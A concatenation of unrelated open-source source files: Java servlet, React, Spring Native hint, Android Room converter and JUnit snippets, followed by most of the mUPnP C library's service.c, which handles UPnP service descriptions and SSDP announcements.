query = dataSession.createQuery("from BudgetMonth where budgetAccount = ? and monthDate = ?");
query.setParameter(0, budgetAccount);
query.setParameter(1, monthDate);
List<BudgetMonth> budgetMonthList = query.list();
if (budgetMonthList.size() == 0) {
return null;
} else {
budgetMonth = budgetMonthList.get(0);
}
return budgetMonth;
}
// <editor-fold defaultstate="collapsed"
// desc="HttpServlet methods. Click on the + sign on the left to edit the code.">
/**
* Handles the HTTP <code>GET</code> method.
*
* @param request
* servlet request
* @param response
* servlet response
* @throws ServletException
* if a servlet-specific error occurs
* @throws IOException
* if an I/O error occurs
*/
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
/**
* Handles the HTTP <code>POST</code> method.
*
* @param request
* servlet request
* @param response
* servlet response
* @throws ServletException
* if a servlet-specific error occurs
* @throws IOException
* if an I/O error occurs
*/
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
/**
* Returns a short description of the servlet.
*
* @return a String containing servlet description
*/
@Override
public String getServletInfo() {
return "DQA Tester Home Page";
}// </editor-fold>
}
|
cfowles/mop-frontend | src/giraffe-ui/nav/nav.js | <reponame>cfowles/mop-frontend<gh_stars>0
import React from 'react'
import PropTypes from 'prop-types'
import classNames from 'classnames'
import CloseSvg from '../svgs/close.svg'
export const MoNav = ({ isOpenMobile, children, close }) => (
<div
id='nav'
className={classNames('mo-nav', { 'nav--visible': isOpenMobile })}
>
<span className='mo-nav__title'>Menu</span>
{children}
<button
onClick={close}
className='mo-nav__close'
>
<CloseSvg />
</button>
</div>
)
MoNav.propTypes = {
isOpenMobile: PropTypes.bool,
children: PropTypes.node,
close: PropTypes.func
}
|
vavramovski/spring_graalvm | spring-native-configuration/src/main/java/org/hibernate/validator/ValidatorHints.java | <filename>spring-native-configuration/src/main/java/org/hibernate/validator/ValidatorHints.java
/*
* Copyright 2019-2021 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.hibernate.validator;
import org.hibernate.validator.internal.engine.ValidatorImpl;
import org.springframework.nativex.hint.InitializationHint;
import org.springframework.nativex.hint.InitializationTime;
import org.springframework.nativex.type.NativeConfiguration;
import org.springframework.nativex.hint.NativeHint;
import org.springframework.nativex.hint.ProxyHint;
@NativeHint(trigger = ValidatorImpl.class,
initialization = @InitializationHint(types = {
org.hibernate.validator.internal.engine.groups.ValidationOrderGenerator.class,
org.hibernate.validator.internal.engine.ValidatorImpl.class,
org.hibernate.validator.internal.engine.ValidatorFactoryImpl.class,
org.hibernate.validator.internal.engine.resolver.TraversableResolvers.class,
org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory.class,
org.hibernate.validator.internal.util.CollectionHelper.class,
org.hibernate.validator.internal.util.Contracts.class,
org.hibernate.validator.internal.util.logging.Log.class,
org.hibernate.validator.internal.util.logging.Messages.class,
org.hibernate.validator.internal.util.privilegedactions.GetMethod.class,
org.hibernate.validator.messageinterpolation.AbstractMessageInterpolator.class,
org.hibernate.validator.messageinterpolation.ParameterMessageInterpolator.class,
org.hibernate.validator.internal.xml.config.ValidationBootstrapParameters.class,
org.hibernate.validator.internal.xml.config.ValidationXmlParser.class,
org.hibernate.validator.resourceloading.PlatformResourceBundleLocator.class,
org.hibernate.validator.internal.engine.ConfigurationImpl.class
}, typeNames = {
"org.hibernate.validator.internal.util.logging.Messages_$bundle",
"org.hibernate.validator.internal.util.privilegedactions.LoadClass",
"org.hibernate.validator.internal.xml.config.ResourceLoaderHelper",
"org.hibernate.validator.resourceloading.PlatformResourceBundleLocator$AggregateResourceBundle",
"org.hibernate.validator.resourceloading.PlatformResourceBundleLocator$AggregateResourceBundleControl",
"org.hibernate.validator.internal.util.logging.Log_$logger"
}, packageNames = {
"org.hibernate.validator.constraints",
"org.hibernate.validator.internal.engine",
"org.hibernate.validator.internal.engine.groups",
"org.hibernate.validator.internal.cfg.context",
"org.hibernate.validator.internal.engine.constraintvalidation",
"org.hibernate.validator.internal.engine.valueextraction",
"org.hibernate.validator.internal.metadata.aggregated.rule",
"org.hibernate.validator.internal.metadata.core",
"org.hibernate.validator.internal.metadata.provider",
"org.hibernate.validator.internal.metadata.aggregated",
"org.hibernate.validator.internal.metadata.raw",
"org.hibernate.validator.internal.util"
}, initTime = InitializationTime.BUILD),
proxies = @ProxyHint(types = {
javax.validation.Validator.class,
org.springframework.aop.SpringProxy.class,
org.springframework.aop.framework.Advised.class,
org.springframework.core.DecoratingProxy.class
})
)
public class ValidatorHints implements NativeConfiguration {
}
|
deitry/offline-alchemy | app/src/main/java/com/dmsvo/offlinealchemy/classes/db/Converters.java | package com.dmsvo.offlinealchemy.classes.db;
import android.arch.persistence.room.TypeConverter;
import android.support.annotation.IntegerRes;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* Created by DmSVo on 06.01.2018.
*/
public class Converters {
final String delimiter = ";";
@TypeConverter
public Date fromTimestamp(long value) {
return value == 0 ? null : new Date(value);
}
@TypeConverter
public long dateToTimestamp(Date date) {
if (date == null) {
return 0;
} else {
return date.getTime();
}
}
@TypeConverter
public List<Integer> fromStringToListInt(String s)
{
List<Integer> result = new ArrayList<>();
if (!s.isEmpty()) {
String[] arr = s.split(delimiter);
for (String el : arr) {
// try {
result.add(Integer.parseInt(el));
// } catch (Throwable e){
//
// }
}
}
return result;
}
@TypeConverter
public String fromListIntToString(List<Integer> ints)
{
String result = "";
for (Integer el : ints)
{
result += el.toString() + delimiter;
}
return result;
}
@TypeConverter
public List<String> fromStringToListStr(String s)
{
String[] arr = s.split(delimiter);
List<String> result = new ArrayList<>();
for (String el : arr)
{
result.add(el);
}
return result;
}
@TypeConverter
public String fromListStrToString(List<String> strs)
{
String result = "";
for (String el : strs)
{
result += el + delimiter;
}
return result;
}
}
|
letscode-17/Java | src/main/java/com/examplehub/maths/ArithmeticProgression.java | package com.examplehub.maths;
/** https://en.wikipedia.org/wiki/Arithmetic_progression */
public class ArithmeticProgression {
/**
* Get nth item.
*
* @param firstItem the initial term of an arithmetic progression.
* @param commonDifference the common difference of successive members.
* @param nth the nth term of the sequence.
* @return the nth tern.
*/
public static int getNth(int firstItem, int commonDifference, int nth) {
return firstItem + (nth - 1) * commonDifference;
}
/**
* Sum of n items of arithmetic progression.
*
* @param firstItem the initial term of an arithmetic progression.
* @param commonDifference the common difference of successive members.
* @param n the numbers of arithmetic progression.
* @return sum of arithmetic progression.
*/
public static int sum(int firstItem, int commonDifference, int n) {
return (2 * firstItem + (n - 1) * commonDifference) * n / 2;
}
}
|
RishabhSrivastava1423/Java | src/test/java/com/thealgorithms/strings/AnagramsTest.java | package com.thealgorithms.strings;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
public class AnagramsTest {
@Test
public void isAlphabetical() {
String input1 = "late";
Anagrams anagrams = new Anagrams();
assertTrue(anagrams.approach1(input1, "tale"));
assertTrue(anagrams.approach1(input1, "teal"));
assertTrue(anagrams.approach2(input1, "tale"));
assertTrue(anagrams.approach2(input1, "teal"));
assertTrue(anagrams.approach3(input1, "tale"));
assertTrue(anagrams.approach3(input1, "teal"));
assertTrue(anagrams.approach4(input1, "tale"));
assertTrue(anagrams.approach4(input1, "teal"));
}
}
|
ytxhao/CyberLink2Android | app/src/main/cpp/mupnp/src/src/mupnp/service.c | /******************************************************************
*
* mUPnP for C
*
* Copyright (C) <NAME> 2005
* Copyright (C) 2006 Nokia Corporation. All rights reserved.
*
* This is licensed under BSD-style license, see file COPYING.
*
******************************************************************/
#include <mupnp/service.h>
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <mupnp/upnp.h>
#include <mupnp/upnp_function.h>
#include <mupnp/device.h>
#include <mupnp/ssdp/ssdp.h>
#include <mupnp/util/log.h>
#include <mupnp/util/string.h>
#include <mupnp/net/url.h>
#include <mupnp/net/uri.h>
#ifdef MUPNP_OPTIMIZED_CP_MODE
#include <mupnp/controlpoint.h>
#endif
/****************************************
* prototype define for static functions
****************************************/
static void mupnp_service_initchildnodes(mUpnpService* service);
static void mupnp_service_initactionlist(mUpnpService* service);
static void mupnp_service_initservicestatetable(mUpnpService* service);
static mUpnpNetURL* mupnp_service_mangleurl(mUpnpService* service, char* type);
/****************************************
* mupnp_service_new
****************************************/
mUpnpService* mupnp_service_new()
{
mUpnpService* service;
mupnp_log_debug_l4("Entering...\n");
service = (mUpnpService*)malloc(sizeof(mUpnpService));
if (NULL != service) {
mupnp_list_node_init((mUpnpList*)service);
service->scpdNodeList = NULL;
service->serviceNode = NULL;
service->actionList = mupnp_actionlist_new();
service->serviceStateTable = mupnp_servicestatetable_new();
#if !defined(MUPNP_NOUSE_SUBSCRIPTION)
service->subscriberList = mupnp_subscriberlist_new();
#endif
#ifdef MUPNP_OPTIMIZED_CP_MODE
service->parsed = false;
#endif
service->mutex = mupnp_mutex_new();
service->subscriptionSid = mupnp_string_new();
mupnp_service_setdevice(service, NULL);
mupnp_service_setsubscriptiontimeout(service, 0);
mupnp_service_setsubscriptiontimestamp(service, 0);
mupnp_service_setuserdata(service, NULL);
}
mupnp_log_debug_l4("Leaving...\n");
return service;
}
/****************************************
* mupnp_service_delete
****************************************/
void mupnp_service_delete(mUpnpService* service)
{
mupnp_log_debug_l4("Entering...\n");
mupnp_list_remove((mUpnpList*)service);
mupnp_service_clear(service);
mupnp_actionlist_delete(service->actionList);
mupnp_servicestatetable_delete(service->serviceStateTable);
#if !defined(MUPNP_NOUSE_SUBSCRIPTION)
mupnp_subscriberlist_delete(service->subscriberList);
#endif
mupnp_mutex_delete(service->mutex);
mupnp_string_delete(service->subscriptionSid);
free(service);
mupnp_log_debug_l4("Leaving...\n");
}
/****************************************
* mupnp_service_clear
****************************************/
void mupnp_service_clear(mUpnpService* service)
{
mupnp_log_debug_l4("Entering...\n");
/* Don't clear the service node */
/* service->serviceNode = NULL; */
if (service->scpdNodeList != NULL) {
mupnp_xml_nodelist_delete(service->scpdNodeList);
service->scpdNodeList = NULL;
}
mupnp_actionlist_clear(service->actionList);
mupnp_servicestatetable_clear(service->serviceStateTable);
#if !defined(MUPNP_NOUSE_SUBSCRIPTION)
mupnp_subscriberlist_clear(service->subscriberList);
#endif
mupnp_service_setsubscriptionsid(service, NULL);
mupnp_service_setsubscriptiontimeout(service, 0);
mupnp_log_debug_l4("Leaving...\n");
}
/**
* Compare the service's SCPD URL and the given location
*
* @param service The service in question
* @param url The URL (location) to compare
* @return true if location is found from URL; otherwise false
*/
bool mupnp_service_isscpdurl(mUpnpService* service, const char* url)
{
mUpnpXmlNode* s = mupnp_service_getservicenode(service);
const char* v = mupnp_xml_node_getchildnodevalue(s, MUPNP_SERVICE_SCPDURL);
return mupnp_net_uri_isequivalent(v, url);
}
/**
* Get the service's event subscription URL
*
* @param service The service in question
* @return char*
*/
mUpnpNetURL* mupnp_service_geteventsuburl(mUpnpService* service)
{
return mupnp_service_mangleurl(service, MUPNP_SERVICE_EVENT_SUB_URL);
}
/**
* Get the service's control URL
* @param service The service in question
* @return char*
*/
mUpnpNetURL* mupnp_service_getcontrolurl(mUpnpService* service)
{
return mupnp_service_mangleurl(service, MUPNP_SERVICE_CONTROL_URL);
}
/**
* Get the service's SCPD (service description) URL
*
* @param service The service in question
* @return mUpnpNetURL Pointer to URL/URI structure
*/
mUpnpNetURL* mupnp_service_getscpdurl(mUpnpService* service)
{
return mupnp_service_mangleurl(service, MUPNP_SERVICE_SCPDURL);
}
/****************************************
* mupnp_service_parsedescription
****************************************/
bool mupnp_service_parsedescription(mUpnpService* service, const char* desciption, size_t descriptionLen)
{
mUpnpXmlParser* xmlParser;
bool xmlParseSuccess;
mUpnpXmlNode* scpdNode;
mupnp_log_debug_l4("Entering...\n");
mupnp_service_lock(service);
mupnp_service_clear(service);
#ifdef MUPNP_OPTIMIZED_CP_MODE
service->parsed = false;
#endif
service->scpdNodeList = mupnp_xml_nodelist_new();
xmlParser = mupnp_xml_parser_new();
xmlParseSuccess = mupnp_xml_parse(xmlParser, service->scpdNodeList, desciption, descriptionLen);
mupnp_xml_parser_delete(xmlParser);
if (xmlParseSuccess == false) {
mupnp_service_unlock(service);
return false;
}
if (mupnp_xml_nodelist_size(service->scpdNodeList) <= 0) {
mupnp_service_clear(service);
mupnp_service_unlock(service);
return false;
}
scpdNode = mupnp_service_getscpdnode(service);
if (scpdNode == NULL) {
mupnp_service_clear(service);
mupnp_service_unlock(service);
return false;
}
mupnp_service_initchildnodes(service);
#ifdef MUPNP_OPTIMIZED_CP_MODE
service->parsed = true;
#endif
mupnp_service_unlock(service);
mupnp_log_debug_l4("Leaving...\n");
return true;
}
/****************************************
* mupnp_service_parsedescriptionurl
****************************************/
bool mupnp_service_parsedescriptionurl(mUpnpService* service, mUpnpNetURL* url)
{
char* host;
int port;
char* request;
mUpnpHttpRequest* httpReq;
mUpnpHttpResponse* httpRes;
char* content;
size_t contentLen;
bool parseSuccess;
mupnp_log_debug_l4("Entering...\n");
if (mupnp_net_url_ishttpprotocol(url) == false)
return false;
host = mupnp_net_url_gethost(url);
port = mupnp_net_url_getport(url);
if (port <= 0)
port = MUPNP_HTTP_DEFAULT_PORT;
/**** Thanks for <NAME> (08/16/05) ****/
request = mupnp_net_url_getrequest(url);
if (mupnp_strlen(request) <= 0)
request = "/";
httpReq = mupnp_http_request_new();
mupnp_http_request_setmethod(httpReq, MUPNP_HTTP_GET);
mupnp_http_request_seturi(httpReq, request);
mupnp_http_request_setcontentlength(httpReq, 0);
httpRes = mupnp_http_request_post(httpReq, host, port);
/*statusCode = mupnp_http_response_getstatuscode(httpRes);
if (statusCode != MUPNP_HTTP_STATUS_OK) {*/
if (!mupnp_http_response_issuccessful(httpRes)) {
mupnp_http_request_delete(httpReq);
return false;
}
content = mupnp_http_response_getcontent(httpRes);
contentLen = mupnp_http_response_getcontentlength(httpRes);
parseSuccess = mupnp_service_parsedescription(service, content, contentLen);
mupnp_http_request_delete(httpReq);
mupnp_log_debug_l4("Leaving...\n");
return parseSuccess;
}
/****************************************
* mupnp_service_getdescription
****************************************/
char* mupnp_service_getdescription(mUpnpService* service, mUpnpString* descStr)
{
mUpnpXmlNode* scpdNode;
mupnp_log_debug_l4("Entering...\n");
scpdNode = mupnp_service_getscpdnode(service);
if (scpdNode != NULL) {
mupnp_string_addvalue(descStr, MUPNP_XML_DECLARATION);
mupnp_string_addvalue(descStr, "\n");
mupnp_xml_node_tostring(scpdNode, true, descStr);
}
mupnp_log_debug_l4("Leaving...\n");
return mupnp_string_getvalue(descStr);
}
/****************************************
* Service Type
****************************************/
/**
* Get the identifier-part of a service type string (usually "urn")
*
* @param serviceType A service type string (usually the result from
* \ref mupnp_service_getservicetype)
*
* @return A newly-created char* if successful; otherwise NULL
*/
const char* mupnp_servicetype_getidentifier(const char* serviceType)
{
char* part = NULL;
int tail = 0;
size_t len = 0;
mupnp_log_debug_l4("Entering...\n");
if (serviceType == NULL) {
return NULL;
}
len = mupnp_strlen(serviceType);
/* Find the next delimiter ':' character */
for (tail = 0; tail < len; tail++) {
if (serviceType[tail] == ':') {
tail--; /* Don't take the colon */
break;
}
}
/* Copy the part to a new buffer */
if (tail > 0 && tail < len) {
part = (char*)malloc(tail + 2);
if (NULL != part) {
mupnp_strncpy(part, serviceType, tail + 1);
part[tail + 1] = '\0';
}
else
mupnp_log_debug("Memory allocation problem!\n");
}
else {
part = NULL;
}
mupnp_log_debug_l4("Leaving...\n");
return part;
}
/**
* Get the URN part of a service type string (usually "schemas-upnp-org")
*
* @param serviceType A service type string (usually the result from
* \ref mupnp_service_getservicetype)
*
* @return A newly-created char* if successful; otherwise NULL
*/
const char* mupnp_servicetype_geturn(const char* serviceType)
{
char* part = NULL;
int tail = 0;
int head = 0;
size_t len = 0;
mupnp_log_debug_l4("Entering...\n");
if (serviceType == NULL) {
return NULL;
}
len = mupnp_strlen(serviceType);
/* Find the first delimiter ':' character */
for (head = 0; head < len; head++) {
if (serviceType[head] == ':') {
head++; /* Don't include the colon */
break;
}
}
/* Find the next delimiter ':' character */
for (tail = head; tail < len; tail++) {
if (serviceType[tail] == ':') {
tail--; /* Don't take the colon */
break;
}
}
/* Copy the part to a new buffer */
if (head > 0 && head < len && tail > 0 && tail < len) {
part = (char*)malloc(tail - head + 2);
if (NULL != part) {
mupnp_strncpy(part, serviceType + head, tail - head + 1);
part[tail - head + 1] = '\0';
}
else
mupnp_log_debug_s("Memory allocation problem!\n");
}
else {
part = NULL;
}
mupnp_log_debug_l4("Leaving...\n");
return part;
}
/**
* Get the service part of a service type string (usually just "service")
*
* @param serviceType A service type string (usually the result from
* \ref mupnp_service_getservicetype)
*
* @return A newly-created char* if successful; otherwise NULL
*/
const char* mupnp_servicetype_getservice(const char* serviceType)
{
char* part = NULL;
int tail = 0;
int head = 0;
size_t len = 0;
int count = 0;
mupnp_log_debug_l4("Entering...\n");
if (serviceType == NULL) {
return NULL;
}
len = mupnp_strlen(serviceType);
/* Skip the first two delimiter ':' characters */
for (head = 0; head < len; head++) {
if (serviceType[head] == ':') {
if (count == 1) {
head++; /* Don't include the colon */
break;
}
else {
count++;
}
}
}
/* Find the next delimiter ':' character */
for (tail = head; tail < len; tail++) {
if (serviceType[tail] == ':') {
tail--; /* Don't take the colon */
break;
}
}
/* Copy the part to a new buffer */
if (head > 0 && head < len && tail > 0 && tail < len) {
part = (char*)malloc(tail - head + 2);
if (NULL != part) {
mupnp_strncpy(part, serviceType + head, tail - head + 1);
part[tail - head + 1] = '\0';
}
else
mupnp_log_debug_s("Memory allocation problem!\n");
}
else {
part = NULL;
}
mupnp_log_debug_l4("Leaving...\n");
return part;
}
/**
* Get the type part of a service type string (ex. "ContentDirectory")
*
* @param serviceType A service type string (usually the result from
* \ref mupnp_service_getservicetype)
*
* @return A newly-created char* if successful; otherwise NULL
*/
const char* mupnp_servicetype_gettype(const char* serviceType)
{
char* part = NULL;
int tail = 0;
int head = 0;
size_t len = 0;
int count = 0;
mupnp_log_debug_l4("Entering...\n");
if (serviceType == NULL) {
return NULL;
}
len = mupnp_strlen(serviceType);
/* Skip the first three delimiter ':' characters */
for (head = 0; head < len; head++) {
if (serviceType[head] == ':') {
if (count == 2) {
head++; /* Don't include the colon */
break;
}
else {
count++;
}
}
}
/* Find the next delimiter ':' character */
for (tail = head; tail < len; tail++) {
if (serviceType[tail] == ':') {
tail--; /* Don't take the colon */
break;
}
}
/* Copy the part to a new buffer */
if (head > 0 && head < len && tail > 0 && tail < len) {
part = (char*)malloc(tail - head + 2);
if (NULL != part) {
mupnp_strncpy(part, serviceType + head, tail - head + 1);
part[tail - head + 1] = '\0';
}
else
mupnp_log_debug_s("Memory allocation problem!\n");
}
else {
part = NULL;
}
mupnp_log_debug_l4("Leaving...\n");
return part;
}
/**
* Get the schema type part of a service type string (without last colon)
* (ex. "urn:schemas-upnp-org:service:ContentDirectory")
*
* @param serviceType A service type string (usually the result from
* \ref mupnp_service_getservicetype)
*
* @return A newly-created char* if successful; otherwise NULL
*/
char* mupnp_servicetype_getschematype(const char* serviceType)
{
char* part = NULL;
int tail = 0;
size_t len = 0;
int count = 0;
if (serviceType == NULL) {
return NULL;
}
mupnp_log_debug_l4("Entering...\n");
len = mupnp_strlen(serviceType);
/* Skip the first four delimiter ':' characters */
for (tail = 0; tail < len; tail++) {
if (serviceType[tail] == ':') {
if (count == 3) {
tail--; /* Don't include the colon */
break;
}
else {
count++;
}
}
}
/* Copy the part to a new buffer */
if (tail > 0 && tail < len) {
part = (char*)malloc(tail + 2);
if (NULL != part) {
mupnp_strncpy(part, serviceType, tail + 1);
part[tail + 1] = '\0';
}
else
mupnp_log_debug_s("Memory allocation problem!\n");
}
else {
part = NULL;
}
mupnp_log_debug_l4("Leaving...\n");
return part;
}
/**
* Get the version part of a service type string (ex. "1")
*
* @param serviceType A service type string (usually the result from
* \ref mupnp_service_getservicetype)
*
* @return A newly-created char* if successful; otherwise NULL
*/
const char* mupnp_servicetype_getversion(const char* serviceType)
{
char* part = NULL;
int tail = 0;
int head = 0;
size_t len = 0;
int count = 0;
mupnp_log_debug_l4("Entering...\n");
if (serviceType == NULL) {
return NULL;
}
len = mupnp_strlen(serviceType);
/* Skip the first four delimiter ':' characters */
for (head = 0; head < len; head++) {
if (serviceType[head] == ':') {
if (count == 3) {
head++; /* Don't include the colon */
break;
}
else {
count++;
}
}
}
/* Find the next delimiter ':' character (or stop at the end) */
for (tail = head; tail < len; tail++) {
if (serviceType[tail] == ':') {
tail--; /* Don't take the colon */
break;
}
}
/* Copy the part to a new buffer */
if (head > 0 && head < len && tail > 0 && tail <= len) {
part = (char*)malloc(tail - head + 2);
if (NULL != part) {
mupnp_strncpy(part, serviceType + head, tail - head + 1);
part[tail - head + 1] = '\0';
}
else
mupnp_log_debug_s("Memory allocation problem!\n");
}
else {
part = NULL;
}
mupnp_log_debug_l4("Leaving...\n");
return part;
}
/****************************************
*
* Announce
*
****************************************/
char* mupnp_service_getnotifyservicetypent(mUpnpService* service, char* buf, int bufSize)
{
mupnp_log_debug_l4("Entering...\n");
mupnp_strncpy(buf, mupnp_service_getservicetype(service), bufSize);
buf[bufSize - 1] = '\0';
mupnp_log_debug_l4("Leaving...\n");
return buf;
}
char* mupnp_service_getnotifyservicetypeusn(mUpnpService* service, char* buf, int bufSize)
{
mUpnpDevice* dev;
mupnp_log_debug_l4("Entering...\n");
dev = mupnp_service_getdevice(service);
#if defined(HAVE_SNPRINTF)
snprintf(buf, bufSize, "%s::%s", mupnp_device_getudn(dev), mupnp_service_getservicetype(service));
#else
sprintf(buf, "%s::%s", mupnp_device_getudn(dev), mupnp_service_getservicetype(service));
#endif
mupnp_log_debug_l4("Leaving...\n");
return buf;
}
bool mupnp_service_announcefrom(mUpnpService* service, const char* bindAddr)
{
/**** uuid:device-UUID::urn:schemas-upnp-org:service:serviceType:v ****/
char ssdpLineBuf[MUPNP_SSDP_HEADER_LINE_MAXSIZE];
mUpnpDevice* rootDev;
mUpnpDevice* dev;
mUpnpSSDPRequest* ssdpReq;
mUpnpSSDPSocket* ssdpSock;
bool sentResult = true;
mupnp_log_debug_l4("Entering...\n");
rootDev = mupnp_service_getrootdevice(service);
dev = mupnp_service_getdevice(service);
ssdpReq = mupnp_ssdprequest_new();
mupnp_ssdprequest_setserver(ssdpReq, mupnp_getservername(ssdpLineBuf, sizeof(ssdpLineBuf)));
mupnp_ssdprequest_setleasetime(ssdpReq, mupnp_device_getleasetime(dev));
mupnp_ssdprequest_setlocation(ssdpReq, mupnp_device_getlocationurl(rootDev, bindAddr, ssdpLineBuf, sizeof(ssdpLineBuf)));
mupnp_ssdprequest_setnts(ssdpReq, MUPNP_SSDP_NTS_ALIVE);
mupnp_ssdprequest_setnt(ssdpReq, mupnp_service_getnotifyservicetypent(service, ssdpLineBuf, sizeof(ssdpLineBuf)));
mupnp_ssdprequest_setusn(ssdpReq, mupnp_service_getnotifyservicetypeusn(service, ssdpLineBuf, sizeof(ssdpLineBuf)));
ssdpSock = mupnp_ssdp_socket_new();
sentResult = mupnp_ssdp_socket_notifyfrom(ssdpSock, ssdpReq, bindAddr);
mupnp_wait(20);
mupnp_ssdp_socket_delete(ssdpSock);
mupnp_ssdprequest_delete(ssdpReq);
mupnp_log_debug_l4("Leaving...\n");
return sentResult;
}
bool mupnp_service_byebyefrom(mUpnpService* service, const char* bindAddr)
{
/**** uuid:device-UUID::urn:schemas-upnp-org:service:serviceType:v ****/
char ssdpLineBuf[MUPNP_SSDP_HEADER_LINE_MAXSIZE];
mUpnpSSDPRequest* ssdpReq;
mUpnpSSDPSocket* ssdpSock;
bool sentResult;
mupnp_log_debug_l4("Entering...\n");
ssdpReq = mupnp_ssdprequest_new();
mupnp_ssdprequest_setnts(ssdpReq, MUPNP_SSDP_NTS_BYEBYE);
mupnp_ssdprequest_setnt(ssdpReq, mupnp_service_getnotifyservicetypent(service, ssdpLineBuf, sizeof(ssdpLineBuf)));
mupnp_ssdprequest_setusn(ssdpReq, mupnp_service_getnotifyservicetypeusn(service, ssdpLineBuf, sizeof(ssdpLineBuf)));
ssdpSock = mupnp_ssdp_socket_new();
sentResult = mupnp_ssdp_socket_notifyfrom(ssdpSock, ssdpReq, bindAddr);
mupnp_ssdp_socket_delete(ssdpSock);
mupnp_ssdprequest_delete(ssdpReq);
mupnp_log_debug_l4("Leaving...\n");
return sentResult;
}
/****************************************
*
* Child Node
*
****************************************/
/****************************************
* mupnp_service_initchildnodes
****************************************/
static void mupnp_service_initchildnodes(mUpnpService* service)
{
mupnp_log_debug_l4("Entering...\n");
mupnp_service_initactionlist(service);
mupnp_service_initservicestatetable(service);
mupnp_log_debug_l4("Leaving...\n");
}
/****************************************
*
* Embedded Action
*
****************************************/
/****************************************
* mupnp_service_initactionlist
****************************************/
static void mupnp_service_initactionlist(mUpnpService* service)
{
mUpnpXmlNode* scdpNode;
mUpnpXmlNode* actionListNode;
// mUpnpXmlNode *serviceNode;
mUpnpXmlNode* childNode;
mUpnpAction* action;
mupnp_log_debug_l4("Entering...\n");
mupnp_actionlist_clear(service->actionList);
scdpNode = mupnp_service_getscpdnode(service);
if (scdpNode == NULL)
return;
actionListNode = mupnp_xml_node_getchildnode(scdpNode, MUPNP_ACTIONLIST_ELEM_NAME);
if (actionListNode == NULL)
return;
//serviceNode = mupnp_service_getservicenode(service);
for (childNode = mupnp_xml_node_getchildnodes(actionListNode); childNode != NULL; childNode = mupnp_xml_node_next(childNode)) {
if (mupnp_action_isactionnode(childNode) == false)
continue;
action = mupnp_action_new();
mupnp_action_setservice(action, service);
mupnp_action_setactionnode(action, childNode);
mupnp_actionlist_add(service->actionList, action);
}
mupnp_log_debug_l4("Leaving...\n");
}
/****************************************
* mupnp_service_getactionbyname
****************************************/
mUpnpAction* mupnp_service_getactionbyname(mUpnpService* service, const char* name)
{
mUpnpActionList* actionList;
mUpnpAction* action;
mupnp_log_debug_l4("Entering...\n");
if (mupnp_strlen(name) <= 0)
return NULL;
#ifdef MUPNP_OPTIMIZED_CP_MODE
if (mupnp_service_isparsed(service) == false)
mupnp_controlpoint_parsescservicescpd(service);
#endif
actionList = mupnp_service_getactionlist(service);
for (action = mupnp_actionlist_gets(actionList); action != NULL; action = mupnp_action_next(action)) {
if (mupnp_action_isname(action, name) == true)
return action;
}
mupnp_log_debug_l4("Leaving...\n");
return NULL;
}
/****************************************
*
* Embedded ServiceStateTable
*
****************************************/
/****************************************
* mupnp_service_initservicestatetable
****************************************/
static void mupnp_service_initservicestatetable(mUpnpService* service)
{
mUpnpXmlNode* scdpNode;
mUpnpXmlNode* stateTableNode;
// mUpnpXmlNode *serviceNode;
mUpnpXmlNode* childNode;
mUpnpStateVariable* statVar;
mupnp_log_debug_l4("Entering...\n");
mupnp_servicestatetable_clear(service->serviceStateTable);
scdpNode = mupnp_service_getscpdnode(service);
if (scdpNode == NULL)
return;
stateTableNode = mupnp_xml_node_getchildnode(scdpNode, MUPNP_SERVICESTATETALBE_ELEM_NAME);
if (stateTableNode == NULL)
return;
// serviceNode = mupnp_service_getservicenode(service);
for (childNode = mupnp_xml_node_getchildnodes(stateTableNode); childNode != NULL; childNode = mupnp_xml_node_next(childNode)) {
if (mupnp_statevariable_isstatevariablenode(childNode) == false)
continue;
statVar = mupnp_statevariable_new();
mupnp_statevariable_setservice(statVar, service);
mupnp_statevariable_setstatevariablenode(statVar, childNode);
mupnp_servicestatetable_add(service->serviceStateTable, statVar);
}
mupnp_log_debug_l4("Leaving...\n");
}
/****************************************
* mupnp_service_getstatevariablebyname
****************************************/
mUpnpStateVariable* mupnp_service_getstatevariablebyname(mUpnpService* service, const char* name)
{
mUpnpServiceStateTable* stateTable;
mUpnpStateVariable* stateVar;
mupnp_log_debug_l4("Entering...\n");
if (mupnp_strlen(name) <= 0)
return NULL;
#ifdef MUPNP_OPTIMIZED_CP_MODE
if (mupnp_service_isparsed(service) == false)
mupnp_controlpoint_parsescservicescpd(service);
#endif
stateTable = mupnp_service_getservicestatetable(service);
for (stateVar = mupnp_servicestatetable_gets(stateTable); stateVar != NULL; stateVar = mupnp_statevariable_next(stateVar)) {
if (mupnp_statevariable_isname(stateVar, name) == true)
return stateVar;
}
mupnp_log_debug_l4("Leaving...\n");
return NULL;
}
/****************************************
* mupnp_service_setactionlistener
****************************************/
void mupnp_service_setactionlistener(mUpnpService* service, MUPNP_ACTION_LISTNER actionListener)
{
mUpnpActionList* actionList;
mUpnpAction* action;
mupnp_log_debug_l4("Entering...\n");
actionList = mupnp_service_getactionlist(service);
for (action = mupnp_actionlist_gets(actionList); action != NULL; action = mupnp_action_next(action))
mupnp_action_setlistner(action, actionListener);
mupnp_log_debug_l4("Leaving...\n");
}
/****************************************
* mupnp_service_setquerylistener
****************************************/
void mupnp_service_setquerylistener(mUpnpService* service, MUPNP_STATEVARIABLE_LISTNER queryListener)
{
mUpnpServiceStateTable* stateTable;
mUpnpStateVariable* stateVar;
mupnp_log_debug_l4("Entering...\n");
stateTable = mupnp_service_getservicestatetable(service);
for (stateVar = mupnp_servicestatetable_gets(stateTable); stateVar != NULL; stateVar = mupnp_statevariable_next(stateVar))
mupnp_statevariable_setlistener(stateVar, queryListener);
mupnp_log_debug_l4("Leaving...\n");
}
mUpnpActionList* mupnp_service_getactionlist(mUpnpService* service)
{
mupnp_log_debug_l4("Entering...\n");
